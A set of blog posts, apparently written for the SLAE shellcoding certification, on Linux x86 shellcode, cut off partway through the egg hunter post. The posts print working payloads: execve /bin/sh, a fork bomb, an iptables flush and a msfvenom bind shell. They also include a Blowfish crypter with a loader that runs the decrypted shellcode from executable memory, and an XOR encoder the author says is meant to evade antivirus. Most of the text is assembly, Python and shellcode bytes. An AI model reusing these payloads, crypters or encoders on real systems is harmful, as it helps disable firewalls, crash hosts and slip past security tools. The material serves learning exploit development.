Shellcoding Linux x86 – Custom Crypter – Assignment 7

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Before start this assignment, I have to say that this certification supposed some months of hard work but it’s completely worth it. I recommend it to everyone that wants to learn interesting stuff 🙂

Let’s focus in this last assignment, I have to create a custom crypter as the described in the course video.

First of all I needed to choose an algorithm, I never used Blowfish, so I decided to read about it. Blowfish is a symmetric-key block cipher, designed in 1993 by Bruce Schneier.

https://en.wikipedia.org/wiki/Blowfish_(cipher)

Doing a quick research I found this useful module in python language that had everything that I needed.

https://pypi.org/project/blowfish/

So it seems a good idea to select this cypher and also write the tools in python because they can be compiled as an elf if needed.

At this point I had to write 2 files:

  • A crypter: With a cypher key and an IV it has to encrypt the original shellcode.
  • A decrypter: It has to decrypt the shellcode using the cypher key and the IV and has to save it in memory and execute it.

Let’s start for the crypter. To be able to encrypt the original shellcode we need to have blocks of 8 bytes. The first thing that I do, is calculate the length of the shellcode and divide it by 8 and see if it needs some padding. If it needs it, I add the necessary nops 0x90 at the end of the string.

# Padding
rem = scd_len / 8
if rem == 0:
	print ('[+] Shellcode is multiple of 8. No padding needed')
else:
	print ('[+] Shellcode is not multiple of 8. Paddind needed')
	block_number = round(scd_len / 8) +1 
	print ('[+] Number of blocks needed: %d' % block_number)
	padding = 8 * block_number - scd_len
	print ('[+] Padding needed: %d' % padding)
	scd = scd + b'\x90'*padding

Now, that our string its a multiple of 8 we can start encrypting it, we have to setup de cypher key and the IV values:

cipher = blowfish.Cipher(b"xavi")
iv = b'88888888'

And finally do the encryption:

data_encrypted = b"".join(cipher.encrypt_cbc(data, iv))
print ('[+] Blowfish encryption finished:')
print (data_encrypted)

This is the final crypter code:

# Author: Xavi Beltran 
# Date: 13/05/2019

# Modules
import blowfish

# Shellcode
scd = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
scd_len = len(scd)
print ('[+] Shellcode length is %d' % scd_len)

# Padding
rem = scd_len / 8
if rem == 0:
	print ('[+] Shellcode is multiple of 8. No padding needed')
else:
	print ('[+] Shellcode is not multiple of 8. Paddind needed')
	block_number = round(scd_len / 8) +1 
	print ('[+] Number of blocks needed: %d' % block_number)
	padding = 8 * block_number - scd_len
	print ('[+] Padding needed: %d' % padding)
	scd = scd + b'\x90'*padding


cipher = blowfish.Cipher(b"xavi")
data = scd
iv = b'88888888'
data_encrypted = b"".join(cipher.encrypt_cbc(data, iv))
print ('[+] Blowfish encryption finished:')
print (data_encrypted)

In the image below you can see the original shellcode encrypted.

Our crypter it’s already working. Now I need to code the decrypter, the first step is to decrypt the string and to recover our original shellcode. To do that, we are going to use the same python library.

# Shellcode encrypted
enc_scd = b'\x1fp\x8bq\x0e\xc2\x11|p\x83\x05\x9d\xf4\xc4Y\xf5\x16s\xf5:|+\xc5)\tqV\x84\xbe\xe8X\xc5'

# Decrypt process
cipher = blowfish.Cipher(b"xavi")
data_encrypted = enc_scd
iv = b'88888888'
data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv))
print ('[+] Blowfish decryption finished:')
print (data_decrypted)

We already recovered our original shellcode but know what we have to do? When I was doing this part of the code I thought that it was a going to be really difficult, but in fact its not so complex.

We are going to use python Memory-mapped. We create a piece of executable memory in python and write our shell-code into this memory.

mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(data_decrypted)

And we obtain the address of the memory and create a C Function Pointer using ctypes and this address.

restype = ctypes.c_int64
argtypes = tuple()
ctypes_buffer = ctypes.c_int.from_buffer(mm)
function = ctypes.CFUNCTYPE(restype, *argtypes)(ctypes.addressof(ctypes_buffer))
function()

The final code for the decrypter is the following one:

# Author: Xavi Beltran
# Date: 13/05/2019

# Modules
import blowfish
import mmap
import ctypes

# Shellcode encrypted
enc_scd = b'\x1fp\x8bq\x0e\xc2\x11|p\x83\x05\x9d\xf4\xc4Y\xf5\x16s\xf5:|+\xc5)\tqV\x84\xbe\xe8X\xc5'

# Decrypt process
cipher = blowfish.Cipher(b"xavi")
data_encrypted = enc_scd
iv = b'88888888'
data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv))
print ('[+] Blowfish decryption finished:')
print (data_decrypted)

# Shellcode Execution
# We create a piece of executable memory in python and write our shell-code into this memory
mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(data_decrypted)
# We obtain the address of the memory and create a C Function Pointer using ctypes and this address 
restype = ctypes.c_int64
argtypes = tuple()
ctypes_buffer = ctypes.c_int.from_buffer(mm)
function = ctypes.CFUNCTYPE(restype, *argtypes)(ctypes.addressof(ctypes_buffer))
function()

And here you can see the decrypter working!

As for the other assignments, you can read all the code in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment7

And here ends the SLAE course. I have learnt a lot of interesting stuff. See you soon! 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Polymorphic versions of known shellcodes – Assignment 6

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

For this assignment I have to modify three known shellcodes from Shell-Storm and create polymorphic versions of them.

I’m going to start for the Execve /bin/bash using stack method that we already worked a lot with it in the course.


a) Execve /bin/sh polymorphic version

The original shellcode wrote by Vivek is 25 bytes length. The exercise say that the new version can’t be larger than the 150% of the existing shellcode. So, the new version can’t have more than 38 bytes.

The original code is the following:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com

global _start			

section .text
_start:
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

In the course, it’s explained that one of the things that protection systems detect in this shellcode is the two pushes that contain the string “//bin/sh”. So I’m going to focus on that.

To avoid pushing this values, I’m going to do some arithmetic operations so I can use other assembly instructions and modify the code.

For example, instead of doing the second push:

push 0x6e69622f

I can do:

mov eax, 0x6e69622e
inc eax
push eax
xor eax, eax

For the first push we can do it in another way that is a little bit more complex. Instead pushing the value directly that is: 0x68732f2f. We can do an arithmetic operation that is the following: A x 2 + 5 = 0x68732f2f. The valueof A needed is: 0x34399795.

So the equivalent code is the following:

mov al, 2
mov edi, 0x34399795
mul edi
add eax, 5
push eax

With this small changes, we increased the code to 37 bytes of length, we can’t do more changes because we are going to increment the code more than a 50%.

For the first exercise of this assignment, this is the final code:

; Filename: Execve-stack-poly.nasm
; Author:  Xavi Beltran

global _start			

section .text
_start:
	xor eax, eax
	push eax

	;push 0x68732f2f
	mov al, 2
	mov edi, 0x34399795
	mul edi
	add eax, 5
	push eax

	;push 0x6e69622f
	mov eax, 0x6e69622e
	inc eax
	push eax
	xor eax, eax

	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

And this is the shellcode:

\x31\xc0\x50\xb0\x02\xbf\x95\x97\x39\x34\xf7\xe7\x83\xc0\x05\x50\xb8\x2e\x62\x69\x6e\x40\x50\x31\xc0\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

b) Fork bomb polymorphic version

I’ve found this piece of shellcode in Shellstorm and it inspired me to create another type of “bomb” using a loop, but this is not part of this assignment 🙂

To be honest, this shellcode is really small, so create a polymorphic version it’s quick.

Here is the original code:

; Author: Kris Katterjohn 8/29/2006
; Date: 8/29/2006 

section .text

global _start

 _start:
     push byte 2
     pop eax
     int 0x80
     jmp short _start

And the link to shell-storm:

http://shell-storm.org/shellcode/files/shellcode-214.php

And here is the new code:

; Filename: fork-poly.nasm
; Author: Xavi Beltran
; Date: 05/11/2019
; Based on Kris Katterjohn code

section .text

global _start

 _start:
	xor eax, eax
	mov al, 2
	int 0x80
	jmp _start

This is the shellcode:

\x31\xc0\xb0\x02\xcd\x80\xeb\xf8

The changes where minor, but the entire shellcode changed. Instead of using push and pop to save the number two I used an XOR opeartion. Also I modified the type of jump.


C) Iptables flush polymorphic version

I’ve found a piece of code in shell storm from Sp4rK that was part from a group of hackers from my country named Undersec.

There is no date in this shellcode, but I guess it’s really old. I wanted to write again as a tribute for them. Also it’s going to be a polymorphic version, because I’m going to write it from scratch.

Here is the original piece of code:

#include <stdio.h>
#include <string.h>

/* 
__asm__("

sub     $0x4,%esp   ## Con esto conseguimos que la shellcode nunca se
popl    %esp        ## sobreescriba... gracias RaiSe :)

xorl    %edx,%edx   ## %edx a cero
pushl   %edx        ## y ponemos los zeros del final del string en memoria
pushw   $0x462d     ## tenemos -F0000

movl    %esp,%esi   ## wardamos argv[1] en %esi

pushl   %edx        ## 0000-F0000

pushl   $0x736e6961
pushl   $0x68637069 ## ipchains0000-F0000

movl    %esp,%edi   ## wardamos argv[0] en %edi

pushl   $0x2f6e6962
pushl   $0x732f2f2f ## ///sbin/ipchains0000-F0000

movl    %esp,%ebx   ## en %ebx, el nombre de archivo

pushl   %edx        ## 0000///sbin/ipchains0000-F0000
pushl   %esi        ## A[1]0000///sbin/ipchains0000-F0000
pushl   %edi        ## A[0]A[1]0000///sbin/ipchains0000-F0000

movl    %esp,%ecx   ## %ecx apunta a el inicio del argv[]

xorl    %eax,%eax
movb    $0xb,%al
int     $0x80

");
*/

char c0de[]=
"\x83\xec\x04\x5c\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x61\x69\x6e\x73"
"\x68\x69\x70\x63\x68\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3"
"\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";


/* execve("///sbin/ipchains",ARGV,NULL);
 * ARGV[] = {"ipchains","-F",NULL}
 */

int main(void)
{
	long *toRET;
	char vuln[52];

	*(&toRET+2) = (long *)c0de;

	strcpy(vuln, c0de);

	printf("Shellc0de length: %d\nRunning.......\n\n", strlen(c0de));
	return(0);
}

/* Sp4rK <sp4rk@netsearch-ezine.com>
 * UNDERSEC Security TEAM
 * NetSearch E-zine
 */

Here is the link to shell-storm:

http://shell-storm.org/shellcode/files/shellcode-365.php

And here is my code

; Filename: iptables-poly.nasm
; Author: Xavi Beltran
; Date: 05/11/2019

global _start			

section .text
_start:
	xor eax, eax
	push eax
	push word 0x462d
	mov esi, esp
	push eax
	push dword 0x73656c62
	push dword 0x61747069
	mov edi,esp
	push dword 0x2f2f6e69
	push dword 0x62732f2f
	mov ebx, esp
	push eax
	push esi
	push edi
	mov ecx, esp
	mov al, 11
	int 0x80

This is the shellcode:

\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x56\x57\x89\xe1\xb0\x0b\xcd\x80

The entire code is different. As a simple explanation I used the Stack technique described in the course. I pushed //sbin/iptables%00-F to the stack and the rest of the code is the standard structure described in the following post of this blog:

The final shellcode it’s 43 bytes long, so we didn’t increase much the original shellcode.

Let’s execute the code. But first we are going to create a new rule in iptables, for example we can drop all the incoming traffic from Google IP: 8.8.8.8 with this command:

iptables -I INPUT -s 8.8.8.8 -j DROP

We list the current rules to verify that we can see the new one:

root@ubuntu:/home/socket/SLAE/Assignments/6/b# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  google-public-dns-a.google.com  anywhere            

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination      

Now, we execute our new shellcode, and we verify again the rules, and we can see that it works and the Drop in the INPUT chain for Google traffic has been deleted, so it works! 🙂

root@ubuntu:/home/socket/SLAE/Assignments/6/b# ./shellcode 
Shellcode Length:  43
root@ubuntu:/home/socket/SLAE/Assignments/6/b# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

I’ve submitted this code to exploit-db. Here you can find it:

https://www.exploit-db.com/shellcodes/46829


As for the other assignments, you can found all the code used in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment6

This was the third one, so here ends this interesting assignment. Only one remaining!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Analyzing 3rd party shellcode – Assignment 5

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

The assignment requests to analyze three shellcodes, during the statement Vivek name three tools, so I’m going to analyze the three shellcodes using a different tool for each one.

I’m going to start using GDB debugger. And the first shellcode that I want to analyze is read_file.


a) Read_file analysis using GDB

To generate the shellcode we are going to use msfvenom. We can run the following command:

msfvenom -p linux/x86/read_file PATH=/home/socket/SLAE/Assignments/5/password.txt -f c -a x86 --platform linux

After that we need to copy that shellcode to our c program, and compile it as always. Once we do that, we can run the program inside GDB debugger.

gdb -q ./shellcode

Now it’s the moment, to prepare the gdb environment. First we setup the language display using:

set disassembly-flavour intel

Also, it’s really handy to setup a hook-stop. Every time we hit a break point, it will display what we configure. In this case i prepared the following hook-stop:

define hook-stop
print/x $eax 
print/x $ebx 
print/x $ecx 
print/x $edx
disassemble $eip, +5
end

Now, that we have everything prepared we can setup the first breakpoints and run the program:

break _start
run
break *&code

At this point, can be a good idea to disassemble the full code, and try to read it to identify the main structure.

Here is the full disassemble:

=> 0x0804a040 <+0>:	jmp    0x804a078 <code+56>
   0x0804a042 <+2>:	mov    eax,0x5
   0x0804a047 <+7>:	pop    ebx
   0x0804a048 <+8>:	xor    ecx,ecx
   0x0804a04a <+10>:	int    0x80
   0x0804a04c <+12>:	mov    ebx,eax
   0x0804a04e <+14>:	mov    eax,0x3
   0x0804a053 <+19>:	mov    edi,esp
   0x0804a055 <+21>:	mov    ecx,edi
   0x0804a057 <+23>:	mov    edx,0x1000
   0x0804a05c <+28>:	int    0x80
   0x0804a05e <+30>:	mov    edx,eax
   0x0804a060 <+32>:	mov    eax,0x4
   0x0804a065 <+37>:	mov    ebx,0x1
   0x0804a06a <+42>:	int    0x80
   0x0804a06c <+44>:	mov    eax,0x1
   0x0804a071 <+49>:	mov    ebx,0x0
   0x0804a076 <+54>:	int    0x80
   0x0804a078 <+56>:	call   0x804a042 <code+2>
   0x0804a07d <+61>:	das    
   0x0804a07e <+62>:	push   0x2f656d6f
   0x0804a083 <+67>:	jae    0x804a0f4
   0x0804a085 <+69>:	arpl   WORD PTR [ebx+0x65],bp
   0x0804a088 <+72>:	je     0x804a0b9
   0x0804a08a <+74>:	push   ebx
   0x0804a08b <+75>:	dec    esp
   0x0804a08c <+76>:	inc    ecx
   0x0804a08d <+77>:	inc    ebp
   0x0804a08e <+78>:	das    
   0x0804a08f <+79>:	inc    ecx
   0x0804a090 <+80>:	jae    0x804a105
   0x0804a092 <+82>:	imul   esp,DWORD PTR [edi+0x6e],0x746e656d
   0x0804a099 <+89>:	jae    0x804a0ca
   0x0804a09b <+91>:	xor    eax,0x7361702f
   0x0804a0a0 <+96>:	jae    0x804a119
   0x0804a0a2 <+98>:	outs   dx,DWORD PTR ds:[esi]
   0x0804a0a3 <+99>:	jb     0x804a109
   0x0804a0a5 <+101>:	cs
   0x0804a0a6 <+102>:	je     0x804a120
   0x0804a0a8 <+104>:	je     0x804a0aa <code+106>
   0x0804a0aa <+106>:	add    BYTE PTR [eax],al

In this moment, we can see that this code is using the JMP-CALL-POP technique that I described in these blog posts:

At this point, we have an idea of the structure that the code is following. Now, we can setup a breakpoint before every 0x80 instruction and analyze the registers before the call of the interrupt.

Doing this, we can identify what system call is the shellcode author using, and we can understand the purpose of the code. There are four interrupts, let’s start with the first one.

After the first breakpoint, we can see this registers values:

$1 = 0x5
$2 = 0x804a07d
$3 = 0x0
$4 = 0x0

The register EAX contains the value 5. So it’s using the system call number 5. We can check it in the proper linux file

socket@ubuntu:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "\ 5$"
#define __NR_open 5

And if we inspect EBX, we can see the file path:

(gdb) x/s 0x804a07d
0x804a07d <code+61>:	"/home/socket/SLAE/Assignments/5/password.txt"

In conclusion, the first system call that it uses is open, and it opens the file password.txt

If we stop the execution of the code before the second 0x80 instruction, we are going to see the following register values:

$5 = 0x3
$6 = 0xc
$7 = 0xbffff26c
$8 = 0x1000

Again, the system call number, it’s stored in EAX, this time it’s a three.

socket@ubuntu:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "\ 3$"
#define __NR_read 3

If we read the official documentation of read syscall, we can understand what are the other two values.

ssize_t read(int fd, void *buf, size_t count);

Let’s continue the execution until the third 0x80. Here are the registers:

$9 = 0x4
$10 = 0x1
$11 = 0xbffff26c
$12 = 0xfffffff2

This time, the system call it’s write.

socket@ubuntu:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "\ 4$"
#define __NR_write 4

Let’s follow the same process as before, read the man page of write system call.

ssize_t write(int fd, const void *buf, size_t count);

EBX contains the value of the file descriptor 1, what is stdout. ECX contains the content of the file and EDX is the size of the file that we have read.

We continue until the moment before the last interruption of the program is executed. It contains the following register values:

$13 = 0x1
$14 = 0x0
$15 = 0xbffff26c
$16 = 0xfffffff2

This system call is the number 1, that is exit, and it exits the program with a value 0 that means a correct execution.


b) Exec analysis with ndisasm and GDB

As in the last analysis, the first step is to generate the shellcode. We can do it with the following command:

msfvenom -p linux/x86/exec CMD=/bin/whoami -f c -a x86 --platform linux

The next step is to inspect it using ndisasm tool.

echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0c\x00\x00\x00\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -u -

Here is the output of the tool:

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E80C000000        call dword 0x29
0000001D  2F                das
0000001E  62696E            bound ebp,[ecx+0x6e]
00000021  2F                das
00000022  7768              ja 0x8c
00000024  6F                outsd
00000025  61                popad
00000026  6D                insd
00000027  6900575389E1      imul eax,[eax],dword 0xe1895357
0000002D  CD80              int 0x80

When you do a first look to the code, the program seems a bit complex, at least for me. But let’s start understanding the code step by step.

The program starts pushing the byte 0xb that is 11 in decimal to the stack. After this push, it save it into EAX register using a pop instruction. At this point, we know that this code is using the system call 11 that is Execve.

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "\ 11$"
#define __NR_execve 11

Let’s look at man page.

int execve(const char *filename, char *const argv[], char *const envp[]);

The next step is a cdq. This instruction does the following: The CDQ (Convert Doubleword to Quadword) instruction extends the sign bit of EAX into the EDX register.

So it means that EDX receives the sign bit of EAX. In this case this just set EDX to zero but in an imaginative way 🙂

Then, we push EDX to the stack, so we are pushing a null byte. After that, it pushes another value into the stack: 0x632d. Let’s translate it using python.

socket@ubuntu:~/SLAE/Assignments/5$ python
Python 2.7.3 (default, Sep 26 2012, 21:53:58) 
...
>>> print ('\x63\x2d')
c-

It continues, and makes EDI point to the top of the stack. After we can see that it pushes 2 more words into the stack:

push dword 0x68732f
push dword 0x6e69622f

Let’s convert the hex to ascii again using python.

>>> print ('\x68\x73\x2f')
hs/
>>> print ('\x6e\x69\x62\x2f')
nib/

If we put all the pieces together, we can see that the string it’s /bin/sh -c

We move forward, the author of the code now makes ebx point to the top of the stack. And after pushes edx to it. After that he makes a call to the position 0x29

At this point, I don’t know how to continue my analysis only using ndisasm. For this part I’m going to use GDB too. So let’s do the standard process, and we are going to stop at the first instruction of the shellcode.

We are going to setup a break point in the last instruction that we analyzed that is:

0x0804a058 <+24>:	call   0x804a069 <code+41>

We can do it like this:

(gdb) break *0x0804a058
Breakpoint 3 at 0x804a058
(gdb) c
Continuing.

Breakpoint 3, 0x0804a058 in code ()

I can’t understand the following instructions, but I’m going to try to inspect the opcodes with the command:

disas/r

This are the opcodes that we can’t understand. If we translate them using python:

socket@ubuntu:~$ python
Python 2.7.3 (default, Sep 26 2012, 21:53:58) 
...
>>> print ('\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69')
/bin/whoami

Finally the execve system call is executed using 0x80 interrupt.


C) Bind shell TCP analysis with libemu

For the last piece of shellcode, I have chosen Bind Shell TCP. We already know this shellcode because we studied it in the course and also I created one in the first assignment of the course exam.

As always, the first step is to generate this shellcode. After, we are going to use libemu software to analyze it. The purpose is to generate an image that displays all the system calls and all the instructions in a visual mode that is going to help us to understand the program

These are the commands that I used to generate the libemu visual code analysis:

msfvenom -p linux/x86/shell_bind_tcp | ./sctest -vvv -Ss 1000000
sudo msfvenom -p linux/x86/shell_bind_tcp | ./sctest -vvv -Ss 1000000 -G shell_bind_tcp.dot
dot shell_bind_tcp.dot -Tpng -o shell_bind_tcp.png

And this is the result:

So, if we only focus in the system calls, we can see this flow:

  • 1. socket
  • 2. bind
  • 3. listen
  • 4. accept
  • 5. dup2
  • 6. execve

Let’s stop here, and let’s read what I have done in the assignment one of this course.

If we read the post, this is the main structure of the code that we created:

  • 1. Create a socket
  • 2. Bind a socket
  • 3. Configure the socket to listen
  • 4. Accept connections to the socket
  • 5. Redirect STDIN, STDOUT, STDERR to the socket
  • 6. Run Execve to execute a shell

So yes, we have exactly the same code structure, and we are going to use the same system calls.

I see that the push where we store the string of the command is different from my code. If I translate it using python i get this:

socket@ubuntu:~$ python
Python 2.7.3 (default, Sep 26 2012, 21:53:58) 
>>> print ('\x68\x73\x2f\x2f')
hs//
>>> print ('\x6e\x69\x62\x2f')
nib/

So the string it’s /bin//sh. And I used //bin/sh, so that’s the reason why it’s different.

Another thing that you can see thanks to libemu is that it’s using a loop to do the three dup2 system calls.

In conclusion, there are some small differences in the code implementation, but it’s similar at what I’ve created a few weeks ago.


After analyzing this three shellcodes, I arrived to the conclusion that the three tools are good, but for me, the most useful is GDB, nevertheless the other two can help you also to understand the shellcode, specially libemu with more complex programs.

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Custom Encoder – Assignment 4

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

I’m going to create a custom encoder/decoder to modify an original shellcode and after recover it and execute it. The purpose of this kind of techniques is to evade av protection.

For this exercise I’m going to use a shellcode that I’ve already wrote following the SLAE course material. This code is going to pop an bin/sh shell using excve system call. Here you can read the code:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax


	; PUSH //bin/sh (8 bytes) 

	push 0x68732f2f
	push 0x6e69622f


	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp


	mov al, 11
	int 0x80

And this is the shellcode:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

I’ve already wrote an article that explains step by step how to create this code. This article follows the SLAE course explanation to generate this shellcode:

For this exercise also I’m going to use JMP-CALL-POP technique, that is already taught in SLAE course. Here I wrote 2 more articles that contains step by step how to use it:


Now that we already understand how JMP-CALL-POP and STACK techniques work, and how to implement and execve /bin/sh shellcode, I can start with the explanation of this assignment.

My idea for this encoder is the following one, we are going to XOR the first byte for 0x01, the second one for 0x02, the third one for 0x03, and so on.

I try to explain it graphically with the following table:

ShellcodeByte 1Byte 2Byte3Byte4Byte5
XOR
Key
0102030405

Doing this we face multiple problems, if we XOR a value for the same value we can generate a null byte for example, and our shellcode won’t work, this can generate us a lot of bad characters.

To avoid this I manually checked the original shellcode and I saw that the lower hex value that we are using is 0x0B that is 11 in decimal. So I decided to customize the encoding to try to avoid this problems, and also to add a bit of complexity.

We have a shellcode of 25 characters. We are going to XOR the first 10 ones for the values: 0x01, 0x02, 0x03 … until 0x0A (value 10). Then, we are going to start again from the value 0x01 until the value 0x10.

So in conclusion, we are going to XOR the first 10 characters, for values 1 to 10, the positions 11 to 20 for the values 1 to 10. And the positions 21 to 25 for the values 1 to 5.

ShellcodePos 1-10Pos 11-20Pos 21-25
XOR Keys1 to 101 to 101 to 5

To implement this, first of all I created the following python encoder:

#!/usr/bin/python
# Autor: Xavi Beltran
# Date: 05/05/2019

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

i = 1
for x in bytearray(shellcode) :

	if  i == 11:
		i = 1
	y = x^i
	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' %y
	
	i = i + 0x01

print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

If we use it, to encode the /bin/sh execve original code we are going to generate the following shellcode:

0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85

Now it’s time to prepare the decoder. We need to decode the original code using XOR operation, and increment the xor-key in 1 until we arrive to value 0x0B. When we detect that the dl counter has an 0x0B, we are going to restart the counter and set it to 1 and start the loop again.

We can do that, with the following piece of code:

<... CODE ...>
xor edx, edx
mov dl, 1 ; initialize dl to value 1

<... CODE ...>
; Decode function
decode:
	cmp dl, 0x0b ; Identify if we found a 0x0B
	jz xor_counter ; Jmp to reset counter if the compare operation is not 0
	xor byte [esi], dl ; XOR operation using xor key that is stored in dl
	inc esi ; increment counter 1
	inc dl ; increment counter 2
	loop decode

	jmp short Shellcode ; Jmp to the final decoded shellcode

xor_counter:
	mov dl, 1 ; Reset counter
	jmp decode

<... CODE ...>

If we put everything together, we get the final assembly code that is the following one:

; Filename: xor-decoder-multiple-keys.nasm
; Author:  Xavi Beltran
; Date: 05/05/2019

global _start			

section .text
_start:

	xor edx, edx
	mov dl, 1
	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25


decode:
	cmp dl, 0x0b
	jz xor_counter
	xor byte [esi], dl
	inc esi
	inc dl
	loop decode

	jmp short Shellcode

xor_counter:
	mov dl, 1
	jmp decode

call_decoder:

	call decoder
	Shellcode: db 0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85

Finally, here you can see a screenshot, of the code working! 🙂

As in the other assignments, you can find all the code used in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment4

Also, I submitted the code to Exploit-DB database, you can find it in the link below:

https://www.exploit-db.com/exploits/46800

That’s all for this exercise. This assignment was difficult but interesting!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Egg Hunter – Assignment 3

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Egg hunter is a type of shell code that is basically a two stages payload. The first stage searches for a pattern that it can find in memory. This pattern indicates the start of the second stage payload that needs to be executed.

In the following link there is a lot of useful information about Egg hunting:

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

So let’s start creating this shell code. We are going to use the system call access:

; int access(const char *pathname, int mode);

The flow that we want to create is the following:

  • 1. We read the content of a memory address
  • 2. We check if we have permissions to access to it. If not return to step 1.
  • 3. OK. We have permission. This memory access and the following one contains our EGG? If not, return to step 1.
  • 4. We found our EGG! Now jump to the second stage shell code and execute it.

Step 1:

Each page has 4096 bytes as size, what is 0x1000 in hex, but it has nulls. To avoid having this problem we are going to or DX with 0xfff what is 4095. And after, we are going to increment EDX in 1, So we added 4096 without erasing the content of EDX.

next_page: 
	or dx, 0xfff
next_address:
	inc edx 

After doing this, we are going to run the access system call.

socket@ubuntu:~/Assesments/3$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep -i access
#define __NR_access 33

Is the number 33, what in hex is 0x21.

We check the documentation and we find that the access system call needs the following parameters.

; int access(const char *pathname, int mode);

So we are going to copy EDX to EBX, and then execute the interruption.

	mov ebx, edx
	xor eax, eax
	mov al, 0x21
	int 0x80

This is the final code for this step:

next_page: 
	or dx, 0xfff

next_address:
	inc edx 
	mov ebx, edx
	xor eax, eax
	mov al, 0x21
	int 0x80

Step 2:

Now, we have to verify what returned the Access system call. If we have a 0xf2 in the EAX register it means that the SYS_ACCESS returned an EFAULT, that indicates that we don’t have permissions to access to this memory address and we need to go to the next one.

So we do a Jump Zero, if we have a match, it would jump to the function next_page.

	; Verify if SYS_ACCESS returned an EFAULT
	cmp al, 0xf2
	jz next_page

Step 3:

Right now, we now that we were able to read the memory. So we need to check if it contains our EGG that is “xavi” 2 times.

So we do a Jump Not Zero. If we don’t have a match, it would jump to the function next_address, if not, it would continue with the next instruction.

	; Verify if we found the EGG
	cmp dword [edx], 0x69766178
	jnz next_address
